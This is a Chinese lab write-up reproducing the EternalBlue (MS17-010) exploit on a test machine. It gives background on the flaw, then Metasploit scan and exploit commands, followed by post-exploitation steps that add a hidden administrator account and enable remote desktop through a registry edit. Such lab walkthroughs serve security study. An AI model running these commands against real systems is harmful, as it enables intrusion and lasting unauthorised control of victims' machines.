一、漏洞信息
1、永恒之蓝介绍:
永恒之蓝漏洞(MS17-010),它的爆发源于 WannaCry 勒索病毒的诞生,该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的漏洞 “EternalBlue”(永恒之蓝)进行改造而成 。勒索病毒的肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。据统计,全球100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。
2、漏洞原理:
永恒之蓝漏洞通过 TCP 的445和139端口,来利用 SMBv1 和 NBT 中的远程代码执行漏洞,通过恶意代码扫描并攻击开放445文件共享端口的 Windows 主机。只要用户主机开机联网,即可通过该漏洞控制用户的主机。不法分子就能在其电脑或服务器中植入勒索病毒、窃取用户隐私、远程控制木马等恶意程序。
3、影响版本:
目前已知受影响的 Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
二、漏洞复现
1、主机发现:可以看到,靶机的445端口是开放的
2、使用MSF的永恒之蓝漏洞模块
打开MSF:msfconsole
搜索 ms17-010 代码:search ms17_010
auxiliary/scanner/smb/smb_ms17_010 是永恒之蓝扫描模块, exploit/windows/smb/ms17_010_eternalblue 是永恒之蓝攻击模块。
一般配合使用,前者先扫描,若显示有漏洞,再进行攻击。
3、使用ms17-010扫描模块,对靶机进行扫描:
使用模块:
use auxiliary/scanner/smb/smb_ms17_010
设置目标IP或网段:
set rhosts 192.168.0.52
执行扫描:run
如果出现以上情况,就说明存在漏洞。
4、使用ms17-010攻击模块,对靶机进行攻击
使用模块:
use exploit/windows/smb/ms17_010_eternalblue
设置攻击目标IP
set rhosts 192.168.0.52
执行攻击:exploit 或 run
攻击完成!
5、得到靶机shell,输入:chcp 65001 可解决乱码问题。
6、通过shell对靶机进行控制
①创建新用户 ,语法:net user 用户名 密码 /add
输入:
net user sss 123456 /add
查看用户信息,命令:net user
可以看到添加成功了。
②将用户sss添加至管理员组
net localgroup administrators sss /add
③开启远程桌面功能
查看3389端口状态:netstat -ano
看到3389端口开启,开启3389端口,命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
④远程桌面连接靶机